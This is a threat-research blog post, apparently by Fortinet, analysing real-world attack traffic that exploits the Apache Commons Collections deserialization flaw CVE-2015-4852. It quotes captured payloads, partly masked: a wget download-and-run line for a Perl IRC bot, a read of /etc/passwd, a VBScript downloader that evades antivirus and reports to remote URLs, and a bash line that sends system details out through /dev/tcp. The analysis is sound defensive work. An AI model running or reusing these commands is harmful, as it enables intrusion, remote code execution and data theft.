Apache Commons Collections Under Attack

Two months ago, a Java zero day vulnerability (CVE-2015-4852) that targeted Apache commons collections library was disclosed. This vulnerability is caused by an error when Java applications, which use Apache commons collections library, deserialize objects from untrusted network sources. Let’s take a look:

Our Fortinet IPS team immediately created a signature, "Apache.Commons.Collection.InvokerTransformer.Code.Execution", in order to protect our customers, and continues to monitor. Over the last 2 months, since creating the initial signature, we have seen it triggered on average, 400 times a day from 50 different FortiGates. This rate of alert is not very high, however, these alerts are genuine, not false positive, coming from real attacks. Let's take a closer look at the payload found in the traffic and what it does throughout an attack.

For Weblogic, Websphere, JBoss and other HTTP based Java applications; the following malicious data was found in the payloads:

1) Single linux commands

ping -c 10 -p 67446e676142474b3969 xx.xx.x.xxx   --->informs the attacker that this machine is vulnerable by sending a ping request with specially crafted data

cat /etc/passwd

...

2) Inline bash script

killall -9 perl;cd /tmp;wget http://1xx.xx.xx.xx/icons/small/.s/.j;perl .j;rm -rf .j;rm -rf .j.*

These code just downloads a malicious Perl CGI from remote servers to /tmp, runs it and deletes the CGI. The CGI source code is below:

This is a classic Perl IRCBot which will hide itself as Apache httpd process, connect to remote IRC server via port 25, parse the command received from the server and execute it. It has many functions, such as ports scanning, tcpflood, udpflood, httpflood, windows cmd reverse shell and bash reverse shell. It can scan other vulnerable systems with unpatched Mambo vulnerabilities via Google as well. If it finds these kind of systems, it will launch attacks against them. You can find Mambo vulnerability scanning in the following code snippet:

3) windows malware

A malicious DLL file is found in the attack traffic whose name is "McAltLib.dll". The DLLEntryPoint in the original DLL file looks like this:

This DLL is self-encoded, after decoding it in runtime manually, we got the real DLLEntryPoint as follows: 

This DLL will register a new service named "DNCP" and send a request string to the remote server on port 22. The code snippet looks like this after decoding in runtime:

The request string looks like this:

www.xxxx.org /p 22 /st 60 /rt 60

4) VBScript code

A VBScript code is found in the payload as well:

= "xz=" + Base64Encode(postStr):objXmlHttpMain.open "POST",postUrl, False:objXmlHttpMain.setRequestHeader "Content-Type", "application/x-www-form-urlencoded":objXmlHttpMain.send postStr:End Function:IF isServiceRunning(".", "360rp") THEN:PostToServer "http://www.xxxxxxx.com:8080/docs/doc/cpo.jsp?e=r", "360RUN":DeleteSelf():WScript.Quit 1:END IF:For nItem = 0 to 10:if Download("http://xxx.xxx.xxx.xx/example/new.cvs", "mc.vbs", 4787, true) Then:exit For:end if:Next:Set objFSO = CreateObject("Scripting.FileSystemObject"):if not objFSO.FileExists("mc.vbs") Then:PostToServer "http://www.jweblogic.com:8080/docs/doc/cpo.jsp?t=1", "Down adconfig.dll FAILED":else:Set ws = CreateObject("WScript.Shell"):ws.Run "mc.vbs":PostToServer "http://www.jweblogic.com:8080/docs/doc/cpo.jsp?e=1", "Exploit":end if:DeleteSelf() > runconf.vbs & runconf.vbs & quit

The above VBScript codes will download "new.cvs", save it as "mc.vbs" and run it. In the meantime, it will check if "360rp" process is running (related to an antivirus product). If "360rp" is running, the code will quit. 

Specifically targeting Jekins, we only found the following bash code in the attack traffic:

/bin/bash -ct U1=$(uname -r);U2=$(uname -v);U3=$(uname -m);U4=$(uname -v);U5=$(uname -n);I=$(id);D=$(df -Pk . | tail -1 | awk '{print $4}'); echo "xxx.x.xxx.xx;8090;$U1;$U2;$U3;$U4;$U5;$D;$I" >/dev/tcp/

It sends the Linux kernel information and system disk space usage to remote server on port 8090.

This is all we currently knew about this Java vulnerability (CVE-2015-4852) until now. These attacks were not triggering our detection that much, but as you have seen we can confirm it is still active in the wild. As time goes on, and the alert rate doesn't decrease, we can reasonably assume that the attack has been refined and packing into a scan kit. More and more attacks against this vulnerability are expected in the future. Our recommendation is to patch your java applications and get safe as soon as possible. If you can’t patch your production environment, we would recommend you to deploy the specific signature "Apache.Commons.Collection.InvokerTransformer.Code.Execution" that will protect you from these attacks.